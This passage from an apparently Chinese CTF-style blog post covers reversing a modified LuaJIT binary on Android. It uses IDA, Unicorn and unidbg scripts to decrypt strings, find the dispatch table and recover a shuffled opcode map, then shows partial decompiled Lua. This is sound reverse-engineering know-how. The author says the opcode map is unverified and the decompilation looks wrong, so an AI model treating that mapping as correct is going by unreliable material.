func</span>):</span><br><span class="line">        <span class="keyword">def</span> <span class="title function_">hook_code</span>(<span class="params">uc: Uc, address, size, user_data</span>):</span><br><span class="line">            <span class="keyword">if</span> print_insn_mnem(address) == <span class="string">&#x27;RET&#x27;</span>:</span><br><span class="line">                uc.emu_stop()</span><br><span class="line">        <span class="variable language_">self</span>.mu.reg_write(UC_ARM64_REG_SP, <span class="number">0x100000</span> + <span class="number">0x5000</span>)</span><br><span class="line">        <span class="variable language_">self</span>.mu.reg_write(UC_ARM64_REG_PC, func)</span><br><span class="line">        <span class="variable language_">self</span>.mu.hook_add(UC_HOOK_CODE, hook_code)</span><br><span class="line">        <span class="variable language_">self</span>.mu.emu_start(func, <span class="number">0xC0000</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">patch_db</span>(<span class="params">self</span>): <span class="comment"># patch 整个数据段</span></span><br><span class="line">        patch_bytes(<span class="number">0xB6EB0</span>, <span class="built_in">bytes</span>(<span class="variable language_">self</span>.mu.mem_read(<span class="number">0xB6EB0</span>, <span class="number">0x78E8</span>)))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    funcs = Functions(<span class="number">0x187D0</span>, <span class="number">0xB3F00</span>)</span><br><span class="line">    string_decrypt = StringDecrypt()</span><br><span class="line">    <span class="keyword">for</span> func <span class="keyword">in</span> funcs:</span><br><span class="line">        cur_addr = func</span><br><span class="line">        <span class="keyword">while</span> print_insn_mnem(cur_addr) == <span class="string">&#x27;STP&#x27;</span> <span class="keyword">or</span> print_insn_mnem(cur_addr) == <span class="string">&#x27;STR&#x27;</span>:</span><br><span class="line">            cur_addr += <span class="number">4</span></span><br><span class="line">        <span class="keyword">if</span> print_insn_mnem(cur_addr) == <span class="string">&#x27;ADRL&#x27;</span> <span class="keyword">and</span> print_insn_mnem(cur_addr + <span class="number">8</span>) == <span class="string">&#x27;LDARB&#x27;</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&#x27;Found decrypt function at 0x<span class="subst">&#123;func:x&#125;</span>&#x27;</span>)</span><br><span class="line">            string_decrypt.decrypt(func)</span><br><span class="line">    string_decrypt.patch_db()</span><br></pre></td></tr></table></figure><h3 id="3-2-如何找到每个指令的实现逻辑"><a href="#3-2-如何找到每个指令的实现逻辑" class="headerlink" title="3.2 如何找到每个指令的实现逻辑"></a>3.2 如何找到每个指令的实现逻辑</h3><p>LuaJIT 的虚拟机对于每条指令的实现都是用汇编实现的，通过分析可以找到指令的分发是通过 下图中的 <code>ins_callt</code> 实现的。</p><p><img src="/posts/lua-%E9%80%86%E5%90%91%E6%80%BB%E7%BB%93/411dcf34ae5e1dcb6498b3288cada731.png" alt="image.png"></p><p>注意这三条指令，其中 </p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">add TMP1, GL, INS, uxtb #3</span><br><span class="line">ldr TMP0, [TMP1, #GG_G2DISP]</span><br><span class="line">br_auth TMP0</span><br></pre></td></tr></table></figure><p>GL 是 LuaJIT 中的 Global state，可以通过 lua_State 的 glref 取得；</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* Global state, main thread and extra fields are allocated together. */</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">GG_State</span> &#123;</span></span><br><span class="line">  lua_State L;<span class="comment">/* Main thread. */</span></span><br><span class="line">  global_State g;<span class="comment">/* Global state. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> LJ_TARGET_ARM &amp;&amp; !LJ_TARGET_NX</span></span><br><span class="line">  <span class="comment">/* Make g reachable via K12 encoded DISPATCH-relative addressing. */</span></span><br><span class="line">  <span class="type">uint8_t</span> align1[(<span class="number">16</span>-<span class="keyword">sizeof</span>(global_State))&amp;<span class="number">15</span>];</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> LJ_TARGET_MIPS</span></span><br><span class="line">  ASMFunction got[LJ_GOT__MAX];<span class="comment">/* Global offset table. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> LJ_HASJIT</span></span><br><span class="line">  jit_State J;<span class="comment">/* JIT state. */</span></span><br><span class="line">  HotCount hotcount[HOTCOUNT_SIZE];<span class="comment">/* Hot counters. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> LJ_TARGET_ARM &amp;&amp; !LJ_TARGET_NX</span></span><br><span class="line">  <span class="comment">/* Ditto for J. */</span></span><br><span class="line">  <span class="type">uint8_t</span> align2[(<span class="number">16</span>-<span class="keyword">sizeof</span>(jit_State)-<span class="keyword">sizeof</span>(HotCount)*HOTCOUNT_SIZE)&amp;<span class="number">15</span>];</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">  ASMFunction dispatch[GG_LEN_DISP];<span class="comment">/* Instruction dispatch tables. */</span></span><br><span class="line">  BCIns bcff[GG_NUM_ASMFF];<span class="comment">/* Bytecode for ASM fast functions. */</span></span><br><span class="line">&#125; GG_State;</span><br></pre></td></tr></table></figure><p>INS 是 opcode 的值；GG_G2DISP 是 Global state 与 dispatch表之间的偏移。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> GG_G2DISP(GG_OFS(dispatch) - GG_OFS(g))</span></span><br></pre></td></tr></table></figure><p>所以这三条指令的意思就是 <code>jmp dispatch[opcode]</code> ，所以只需要拿到 <code>GL</code> 和 <code>GG_G2DISP</code> 即可算出dispatch表的地址，找到每条指令的实现地址。这里我使用 <code>unidbg</code> 获取</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">emulator.getBackend().hook_add_new(<span class="keyword">new</span> <span class="title class_">CodeHook</span>() &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">hook</span><span class="params">(com.github.unidbg.arm.backend.Backend backend, <span class="type">long</span> address, <span class="type">int</span> size, Object user)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">dispatchTableAddr</span> <span class="operator">=</span> backend.reg_read(Arm64Const.UC_ARM64_REG_X22).longValue() + <span class="number">0xF98</span>; <span class="comment">// f98 是 GG_G2DISP </span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">97</span>; i++) &#123;</span><br><span class="line">            <span class="type">long</span> <span class="variable">dispatchAddr</span> <span class="operator">=</span> ByteBuffer.wrap(backend.mem_read(dispatchTableAddr + i * <span class="number">8</span>, <span class="number">8</span>)).order(ByteOrder.LITTLE_ENDIAN).getLong();</span><br><span class="line">            dispatchAddr -= dm.getModule().base;</span><br><span class="line">            System.out.println(<span class="string">&quot;dispatchAddr &quot;</span> + i + <span class="string">&quot; =&gt; 0x&quot;</span> + Long.toHexString(dispatchAddr));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onAttach</span><span class="params">(UnHook unHook)</span> &#123;&#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">detach</span><span class="params">()</span> &#123;&#125;</span><br><span class="line">&#125;, dm.getModule().base + <span class="number">0x258CC</span>, dm.getModule().base + <span class="number">0x258CD</span>, <span class="literal">null</span>);</span><br></pre></td></tr></table></figure><p>找到之后给每个分支改个名：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> idaapi <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># rename functions</span></span><br><span class="line">dispatch_table = [<span class="number">0x234b0</span>, <span class="number">0x234e8</span>, <span class="number">0x2350c</span>, <span class="number">0x23544</span>, <span class="number">0x235bc</span>, <span class="number">0x23628</span>, <span class="number">0x23670</span>, <span class="number">0x236f4</span>, <span class="number">0x23774</span>, <span class="number">0x237c4</span>, <span class="number">0x23830</span>,</span><br><span class="line">                  <span class="number">0x2385c</span>, <span class="number">0x23888</span>, <span class="number">0x238cc</span>, <span class="number">0x2390c</span>, <span class="number">0x2394c</span>, <span class="number">0x239fc</span>, <span class="number">0x23af8</span>, <span class="number">0x23b40</span>, <span class="number">0x23bc0</span>, <span class="number">0x23c38</span>, <span class="number">0x23c80</span>,</span><br><span class="line">                  <span class="number">0x23ccc</span>, <span class="number">0x23d5c</span>, <span class="number">0x23dac</span>, <span class="number">0x23e38</span>, <span class="number">0x23e5c</span>, <span class="number">0x23e7c</span>, <span class="number">0x23eac</span>, <span class="number">0x23f18</span>, <span class="number">0x23f8c</span>, <span class="number">0x24000</span>, <span class="number">0x24044</span>,</span><br><span class="line">                  <span class="number">0x2408c</span>, <span class="number">0x240f8</span>, <span class="number">0x24164</span>, <span class="number">0x241d0</span>, <span class="number">0x24244</span>, <span class="number">0x2428c</span>, <span class="number">0x24304</span>, <span class="number">0x24370</span>, <span class="number">0x243b8</span>, <span class="number">0x243dc</span>, <span class="number">0x243fc</span>,</span><br><span class="line">                  <span class="number">0x24490</span>, <span class="number">0x244f8</span>, <span class="number">0x2452c</span>, <span class="number">0x24560</span>, <span class="number">0x24580</span>, <span class="number">0x245b0</span>, <span class="number">0x245e4</span>, <span class="number">0x24654</span>, <span class="number">0x24668</span>, <span class="number">0x24720</span>, <span class="number">0x247a0</span>,</span><br><span class="line">                  <span class="number">0x24820</span>, <span class="number">0x248a0</span>, <span class="number">0x2492c</span>, <span class="number">0x24970</span>, <span class="number">0x249c0</span>, <span class="number">0x24a54</span>, <span class="number">0x24a90</span>, <span class="number">0x24ad8</span>, <span class="number">0x24b38</span>, <span class="number">0x24b44</span>, <span class="number">0x24b54</span>,</span><br><span class="line">                  <span class="number">0x24bbc</span>, <span class="number">0x24c24</span>, <span class="number">0x24c84</span>, <span class="number">0x24d28</span>, <span class="number">0x24d7c</span>, <span class="number">0x24d94</span>, <span class="number">0x24dac</span>, <span class="number">0x24e38</span>, <span class="number">0x24ef4</span>, <span class="number">0x24f94</span>, <span class="number">0x2503c</span>,</span><br><span class="line">                  <span class="number">0x250ac</span>, <span class="number">0x2513c</span>, <span class="number">0x251f4</span>, <span class="number">0x251f4</span>, <span class="number">0x25280</span>, <span class="number">0x25320</span>, <span class="number">0x25320</span>, <span class="number">0x25354</span>, <span class="number">0x253a0</span>, <span class="number">0x253a0</span>, <span class="number">0x253b8</span>,</span><br><span class="line">                  <span class="number">0x253d8</span>, <span class="number">0x25414</span>, <span class="number">0x25414</span>, <span class="number">0x25454</span>, <span class="number">0x25484</span>, <span class="number">0x25484</span>, <span class="number">0x2550c</span>, <span class="number">0x25510</span>, <span class="number">0x25558</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(dispatch_table)):</span><br><span class="line">    set_name(dispatch_table[i], <span class="string">f&#x27;op_<span class="subst">&#123;i:02x&#125;</span>&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="3-3-分支识别"><a href="#3-3-分支识别" class="headerlink" title="3.3 分支识别"></a>3.3 分支识别</h3><p>因为 LuaJIT 的虚拟机实现是使用汇编写的，每个分支指令非常固定，一般来说大部分指令不会随着编译器版本、混淆等外界因素发生变化。因此只要提取每个分支处理逻辑的的指令序列形成指令的特征进行特征识别即可识别大部分指令。</p><p>首先，是在 Android 上编译一个 LuaJIT 这个很简单官方提供了详细的说明不再赘述，此外 LuaJIT 还提供了一个 <code>lj_bc_ofs</code> 其中记录了每个指令距离第一个指令处理逻辑（<code>lj_vm_asm_begin</code>）的偏移，可以根据这个结构<code>大概的不准确的</code>计算出每个指令所包含的指令。</p><p><img src="/posts/lua-%E9%80%86%E5%90%91%E6%80%BB%E7%BB%93/e56c9b7e47571cd376c85faa0bb9003c.png" alt="image.png"></p><p><img src="/posts/lua-%E9%80%86%E5%90%91%E6%80%BB%E7%BB%93/fee129b98ecf3cefac5587cfe4509058.png" alt="image.png"></p><p>基于此，可以先根据编译出的标准版提取出每个指令的特征，我这里简单的实现了一个提取特征的函数基本可以匹配大部分，有几个识别不到的要手动一下。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">get_feature</span>(<span class="params">addr, size</span>):</span><br><span class="line">    ret = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">if</span> size &lt;= <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> ret</span><br><span class="line">    <span class="keyword">for</span> inst <span class="keyword">in</span> cs.disasm(get_bytes(addr, size), <span class="number">0</span>):</span><br><span class="line">        inst: CsInsn</span><br><span class="line">        <span class="keyword">if</span> CS_GRP_JUMP <span class="keyword">in</span> inst.groups <span class="keyword">or</span> CS_GRP_CALL <span class="keyword">in</span> inst.groups: <span class="comment"># 位置相关指令操作数不作为特征</span></span><br><span class="line">            instr_feature = inst.mnemonic</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            instr_feature = inst.mnemonic + inst.op_str</span><br><span class="line">        <span class="keyword">if</span> inst.mnemonic == <span class="string">&#x27;ldr&#x27;</span>: <span class="comment"># ldr指令立即数操作数不作为特征 （不同版本的虚拟机变化一般不大，但是c语言结构体的各种偏移会有影响）</span></span><br><span class="line">            ret += re.sub(<span class="string">r&#x27;#(0x)?[0-9a-f]+&#x27;</span>, <span class="string">&#x27;#0&#x27;</span>, instr_feature)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            ret += instr_feature</span><br><span class="line">    <span class="keyword">return</span> ret</span><br></pre></td></tr></table></figure><p>提取特征：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">lj_bc_ofs = [<span class="number">0x0000</span>, <span class="number">0x0080</span>, <span class="number">0x0100</span>, <span class="number">0x0180</span>, <span class="number">0x0200</span>, <span class="number">0x0284</span>, <span class="number">0x0304</span>, <span class="number">0x0354</span>, <span class="number">0x03A4</span>, <span class="number">0x0430</span>, <span class="number">0x04BC</span>, <span class="number">0x0500</span>, <span class="number">0x0544</span>, <span class="number">0x0584</span>,</span><br><span class="line">             <span class="number">0x05C4</span>, <span class="number">0x05FC</span>, <span class="number">0x0634</span>, <span class="number">0x0658</span>, <span class="number">0x067C</span>, <span class="number">0x069C</span>, <span class="number">0x06CC</span>, <span class="number">0x0710</span>, <span class="number">0x0758</span>, <span class="number">0x07C4</span>, <span class="number">0x0830</span>, <span class="number">0x08A4</span>, <span class="number">0x08EC</span>, <span class="number">0x0964</span>,</span><br><span class="line">             <span class="number">0x09D0</span>, <span class="number">0x0A3C</span>, <span class="number">0x0AB0</span>, <span class="number">0x0AF8</span>, <span class="number">0x0B70</span>, <span class="number">0x0BDC</span>, <span class="number">0x0C48</span>, <span class="number">0x0CBC</span>, <span class="number">0x0D04</span>, <span class="number">0x0D7C</span>, <span class="number">0x0DC4</span>, <span class="number">0x0E10</span>, <span class="number">0x0E3C</span>, <span class="number">0x0E68</span>,</span><br><span class="line">             <span class="number">0x0E8C</span>, <span class="number">0x0EAC</span>, <span class="number">0x0ECC</span>, <span class="number">0x0EFC</span>, <span class="number">0x0F30</span>, <span class="number">0x0FA0</span>, <span class="number">0x1008</span>, <span class="number">0x103C</span>, <span class="number">0x1070</span>, <span class="number">0x10AC</span>, <span class="number">0x10F4</span>, <span class="number">0x1154</span>, <span class="number">0x11A8</span>, <span class="number">0x11C0</span>,</span><br><span class="line">             <span class="number">0x11D8</span>, <span class="number">0x1264</span>, <span class="number">0x12F8</span>, <span class="number">0x1364</span>, <span class="number">0x13AC</span>, <span class="number">0x145C</span>, <span class="number">0x1558</span>, <span class="number">0x15E8</span>, <span class="number">0x167C</span>, <span class="number">0x16E4</span>, <span class="number">0x16F4</span>, <span class="number">0x1738</span>, <span class="number">0x1744</span>, <span class="number">0x17FC</span>,</span><br><span class="line">             <span class="number">0x184C</span>, <span class="number">0x190C</span>, <span class="number">0x19C8</span>, <span class="number">0x1A68</span>, <span class="number">0x1A7C</span>, <span class="number">0x1B24</span>, <span class="number">0x1B8C</span>, <span class="number">0x1BFC</span>, <span class="number">0x1C8C</span>, <span class="number">0x1D28</span>, <span class="number">0x1D44</span>, <span class="number">0x1DD0</span>, <span class="number">0x1E54</span>, <span class="number">0x1E70</span>,</span><br><span class="line">             <span class="number">0x1EA4</span>, <span class="number">0x1ED4</span>, <span class="number">0x1EF0</span>, <span class="number">0x1F08</span>, <span class="number">0x1F28</span>, <span class="number">0x1F48</span>, <span class="number">0x1F64</span>, <span class="number">0x1FA4</span>, <span class="number">0x1FD4</span>, <span class="number">0x1FD4</span>, <span class="number">0x205C</span>, <span class="number">0x2060</span>, <span class="number">0x20A8</span>, <span class="number">0x287C</span>]</span><br><span class="line">lj_vm_asm_begin = <span class="number">0x1DEE0</span></span><br><span class="line"></span><br><span class="line">feature_dic = <span class="built_in">dict</span>()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">97</span>):</span><br><span class="line">    feature = get_feature(lj_vm_asm_begin + lj_bc_ofs[i], lj_bc_ofs[i + <span class="number">1</span>] - lj_bc_ofs[i])</span><br><span class="line">    feature_dic[feature] = i</span><br><span class="line"><span class="built_in">print</span>(feature_dic)</span><br></pre></td></tr></table></figure><p>匹配特征：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">lj_bc_ofs = [<span class="number">0x0000</span>, <span class="number">0x0038</span>, <span class="number">0x005C</span>, <span class="number">0x0094</span>, <span class="number">0x010C</span>, <span class="number">0x0178</span>, <span class="number">0x01C0</span>, <span class="number">0x0244</span>, <span class="number">0x02C4</span>, <span class="number">0x0314</span>, <span class="number">0x0380</span>, <span class="number">0x03AC</span>, <span class="number">0x03D8</span>, <span class="number">0x041C</span>,</span><br><span class="line">             <span class="number">0x045C</span>, <span class="number">0x049C</span>, <span class="number">0x054C</span>, <span class="number">0x0648</span>, <span class="number">0x0690</span>, <span class="number">0x0710</span>, <span class="number">0x0788</span>, <span class="number">0x07D0</span>, <span class="number">0x081C</span>, <span class="number">0x08AC</span>, <span class="number">0x08FC</span>, <span class="number">0x0988</span>, <span class="number">0x09AC</span>, <span class="number">0x09CC</span>,</span><br><span class="line">             <span class="number">0x09FC</span>, <span class="number">0x0A68</span>, <span class="number">0x0ADC</span>, <span class="number">0x0B50</span>, <span class="number">0x0B94</span>, <span class="number">0x0BDC</span>, <span class="number">0x0C48</span>, <span class="number">0x0CB4</span>, <span class="number">0x0D20</span>, <span class="number">0x0D94</span>, <span class="number">0x0DDC</span>, <span class="number">0x0E54</span>, <span class="number">0x0EC0</span>, <span class="number">0x0F08</span>,</span><br><span class="line">             <span class="number">0x0F2C</span>, <span class="number">0x0F4C</span>, <span class="number">0x0FE0</span>, <span class="number">0x1048</span>, <span class="number">0x107C</span>, <span class="number">0x10B0</span>, <span class="number">0x10D0</span>, <span class="number">0x1100</span>, <span class="number">0x1134</span>, <span class="number">0x11A4</span>, <span class="number">0x11B8</span>, <span class="number">0x1270</span>, <span class="number">0x12F0</span>, <span class="number">0x1370</span>,</span><br><span class="line">             <span class="number">0x13F0</span>, <span class="number">0x147C</span>, <span class="number">0x14C0</span>, <span class="number">0x1510</span>, <span class="number">0x15A4</span>, <span class="number">0x15E0</span>, <span class="number">0x1628</span>, <span class="number">0x1688</span>, <span class="number">0x1694</span>, <span class="number">0x16A4</span>, <span class="number">0x170C</span>, <span class="number">0x1774</span>, <span class="number">0x17B8</span>, <span class="number">0x1878</span>,</span><br><span class="line">             <span class="number">0x18CC</span>, <span class="number">0x18E4</span>, <span class="number">0x18FC</span>, <span class="number">0x1988</span>, <span class="number">0x1A44</span>, <span class="number">0x1AE4</span>, <span class="number">0x1B8C</span>, <span class="number">0x1BFC</span>, <span class="number">0x1C8C</span>, <span class="number">0x1D28</span>, <span class="number">0x1D44</span>, <span class="number">0x1DD0</span>, <span class="number">0x1E54</span>, <span class="number">0x1E70</span>,</span><br><span class="line">             <span class="number">0x1EA4</span>, <span class="number">0x1ED4</span>, <span class="number">0x1EF0</span>, <span class="number">0x1F08</span>, <span class="number">0x1F28</span>, <span class="number">0x1F48</span>, <span class="number">0x1F64</span>, <span class="number">0x1FA4</span>, <span class="number">0x1FD4</span>, <span class="number">0x1FD4</span>, <span class="number">0x205C</span>, <span class="number">0x2060</span>, <span class="number">0x20A8</span>, <span class="number">0x287C</span>]</span><br><span class="line">lj_vm_asm_begin = <span class="number">0x234b0</span></span><br><span class="line"></span><br><span class="line">feature_dic = &#123;&#125;</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">97</span>):</span><br><span class="line">    feature = get_feature(lj_vm_asm_begin + lj_bc_ofs[i], lj_bc_ofs[i + <span class="number">1</span>] - lj_bc_ofs[i])</span><br><span class="line">    <span class="keyword">if</span> feature <span class="keyword">in</span> feature_dic:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&#x27;<span class="subst">&#123;i&#125;</span> =&gt; <span class="subst">&#123;feature_dic[feature]&#125;</span>&#x27;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&#x27;<span class="subst">&#123;i&#125;</span> =&gt; &quot;not found&quot;&#x27;</span>)</span><br></pre></td></tr></table></figure><p>结合手动分析了几个分支的出最后的 opcode 顺序（大部分基于自动化识别，不保证正确性）：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">(<span class="number">0x00</span>, instructions.ISF),</span><br><span class="line">(<span class="number">0x01</span>, instructions.ISTYPE),</span><br><span class="line">(<span class="number">0x02</span>, instructions.IST),</span><br><span class="line">(<span class="number">0x03</span>, instructions.MODNV),</span><br><span class="line">(<span class="number">0x04</span>, instructions.ADDVV),</span><br><span class="line">(<span class="number">0x05</span>, instructions.TGETR),</span><br><span class="line">(<span class="number">0x06</span>, instructions.ISEQV),</span><br><span class="line">(<span class="number">0x07</span>, instructions.ISNEV),</span><br><span class="line">(<span class="number">0x08</span>, instructions.ISEQS),</span><br><span class="line">(<span class="number">0x09</span>, instructions.TGETB),</span><br><span class="line">(<span class="number">0x0a</span>, instructions.KSTR),</span><br><span class="line">(<span class="number">0x0b</span>, instructions.KCDATA),</span><br><span class="line">(<span class="number">0x0c</span>, instructions.ISNEP),</span><br><span class="line">(<span class="number">0x0d</span>, instructions.ISTC),</span><br><span class="line">(<span class="number">0x0e</span>, instructions.ISFC),</span><br><span class="line">(<span class="number">0x0f</span>, instructions.TSETV),</span><br><span class="line">(<span class="number">0x10</span>, instructions.TSETS),</span><br><span class="line">(<span class="number">0x11</span>, instructions.DIVNV),</span><br><span class="line">(<span class="number">0x12</span>, instructions.ISLT),</span><br><span class="line">(<span class="number">0x13</span>, instructions.MODVV),</span><br><span class="line">(<span class="number">0x14</span>, instructions.POW),</span><br><span class="line">(<span class="number">0x15</span>, instructions.CAT),</span><br><span class="line">(<span class="number">0x16</span>, instructions.TSETB),</span><br><span class="line">(<span class="number">0x17</span>, instructions.ISNES),</span><br><span class="line">(<span class="number">0x18</span>, instructions.ISEQN),</span><br><span class="line">(<span class="number">0x19</span>, instructions.ISNUM),</span><br><span class="line">(<span class="number">0x1a</span>, instructions.MOV),</span><br><span class="line">(<span class="number">0x1b</span>, instructions.NOT),</span><br><span class="line">(<span class="number">0x1c</span>, instructions.SUBVV),</span><br><span class="line">(<span class="number">0x1d</span>, instructions.MULVV),</span><br><span class="line">(<span class="number">0x1e</span>, instructions.MULVN),</span><br><span class="line">(<span class="number">0x1f</span>, instructions.UNM),</span><br><span class="line">(<span class="number">0x20</span>, instructions.LEN),</span><br><span class="line">(<span class="number">0x21</span>, instructions.ADDVN),</span><br><span class="line">(<span class="number">0x22</span>, instructions.SUBVN),</span><br><span class="line">(<span class="number">0x23</span>, instructions.SUBNV),</span><br><span class="line">(<span class="number">0x24</span>, instructions.MULNV),</span><br><span class="line">(<span class="number">0x25</span>, instructions.DIVVN),</span><br><span class="line">(<span class="number">0x26</span>, instructions.MODVN),</span><br><span class="line">(<span class="number">0x27</span>, instructions.ADDNV),</span><br><span class="line">(<span class="number">0x28</span>, instructions.DIVVV),</span><br><span class="line">(<span class="number">0x29</span>, instructions.KSHORT),</span><br><span class="line">(<span class="number">0x2a</span>, instructions.KNUM),</span><br><span class="line">(<span class="number">0x2b</span>, instructions.TSETM),</span><br><span class="line">(<span class="number">0x2c</span>, instructions.USETS),</span><br><span class="line">(<span class="number">0x2d</span>, instructions.USETN),</span><br><span class="line">(<span class="number">0x2e</span>, instructions.USETP),</span><br><span class="line">(<span class="number">0x2f</span>, instructions.KPRI),</span><br><span class="line">(<span class="number">0x30</span>, instructions.KNIL),</span><br><span class="line">(<span class="number">0x31</span>, instructions.UGET),</span><br><span class="line">(<span class="number">0x32</span>, instructions.USETV),</span><br><span class="line">(<span class="number">0x33</span>, instructions.RETM),</span><br><span class="line">(<span class="number">0x34</span>, instructions.CALLT),</span><br><span class="line">(<span class="number">0x35</span>, instructions.ISLE),</span><br><span class="line">(<span class="number">0x36</span>, instructions.ISGT),</span><br><span class="line">(<span class="number">0x37</span>, instructions.ISGE),</span><br><span class="line">(<span class="number">0x38</span>, instructions.ISNEN),</span><br><span class="line">(<span class="number">0x39</span>, instructions.ISEQP),</span><br><span class="line">(<span class="number">0x3a</span>, instructions.ITERC),</span><br><span class="line">(<span class="number">0x3b</span>, instructions.TGETS),</span><br><span class="line">(<span class="number">0x3c</span>, instructions.UCLO),</span><br><span class="line">(<span class="number">0x3d</span>, instructions.FNEW),</span><br><span class="line">(<span class="number">0x3e</span>, instructions.TNEW),</span><br><span class="line">(<span class="number">0x3f</span>, instructions.CALLMT),</span><br><span class="line">(<span class="number">0x40</span>, instructions.CALLM),</span><br><span class="line">(<span class="number">0x41</span>, instructions.RET0),</span><br><span class="line">(<span class="number">0x42</span>, instructions.TSETR),</span><br><span class="line">(<span class="number">0x43</span>, instructions.CALL),</span><br><span class="line">(<span class="number">0x44</span>, instructions.ITERN),</span><br><span class="line">(<span class="number">0x45</span>, instructions.TDUP),</span><br><span class="line">(<span class="number">0x46</span>, instructions.GGET),</span><br><span class="line">(<span class="number">0x47</span>, instructions.GSET),</span><br><span class="line">(<span class="number">0x48</span>, instructions.TGETV),</span><br><span class="line">(<span class="number">0x49</span>, instructions.VARG),</span><br><span class="line">(<span class="number">0x4a</span>, instructions.ISNEXT),</span><br><span class="line">(<span class="number">0x4b</span>, instructions.RET),</span><br><span class="line">(<span class="number">0x4c</span>, instructions.RET1),</span><br><span class="line">(<span class="number">0x4d</span>, instructions.FORI),</span><br><span class="line">(<span class="number">0x4e</span>, instructions.JFORI),</span><br><span class="line">(<span class="number">0x4f</span>, instructions.FORL),</span><br><span class="line">(<span class="number">0x50</span>, instructions.IFORL),</span><br><span class="line">(<span class="number">0x51</span>, instructions.JFORL),</span><br><span class="line">(<span class="number">0x52</span>, instructions.ITERL),</span><br><span class="line">(<span class="number">0x53</span>, instructions.IITERL),</span><br><span class="line">(<span class="number">0x54</span>, instructions.JITERL),</span><br><span class="line">(<span class="number">0x55</span>, instructions.LOOP),</span><br><span class="line">(<span class="number">0x56</span>, instructions.ILOOP),</span><br><span class="line">(<span class="number">0x57</span>, instructions.JLOOP),</span><br><span class="line">(<span class="number">0x58</span>, instructions.JMP),</span><br><span class="line">(<span class="number">0x59</span>, instructions.FUNCF),</span><br><span class="line">(<span class="number">0x5a</span>, instructions.IFUNCF),</span><br><span class="line">(<span class="number">0x5b</span>, instructions.JFUNCF),</span><br><span class="line">(<span class="number">0x5c</span>, instructions.FUNCV),</span><br><span class="line">(<span class="number">0x5d</span>, instructions.IFUNCV),</span><br><span class="line">(<span class="number">0x5e</span>, instructions.JFUNCV),</span><br><span class="line">(<span class="number">0x5f</span>, instructions.FUNCC),</span><br><span class="line">(<span class="number">0x60</span>, instructions.FUNCCW)</span><br></pre></td></tr></table></figure><p>对于 LuaJIT 的反编译<del>一般使用 <code>luajit-decompiler</code> 这个项目，</del>但是这个项目中对于 opcode 的分类全是基于标准 opcode 直接的数值关系做的，所以修起来很难受，总之就是把所有的大于小于判断替换成对应的 <code>in (x, y, z….)</code>  最终反编译的结果是这样的，感觉哪里错了，也解不出来 flag，我也懒得分析了，大概就是这样。</p><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line">jit.off()</span><br><span class="line"></span><br><span class="line">slot0 = <span class="built_in">require</span>(<span class="string">&quot;bit&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">BBB</span><span class="params">(slot0)</span></span></span><br><span class="line">slot1 = &#123;&#125;</span><br><span class="line">slot2 = #slot0</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> slot6 = <span class="number">1</span>, #slot0 <span class="keyword">do</span></span><br><span class="line"><span class="built_in">table</span>.<span class="built_in">insert</span>(slot1, <span class="built_in">string</span>.<span class="built_in">format</span>(<span class="string">&quot;%02x&quot;</span>, uv0.bxor(<span class="number">218</span>, <span class="built_in">string</span>.<span class="built_in">byte</span>(slot0, slot6))))</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="built_in">table</span>.<span class="built_in">concat</span>(slot1)</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span 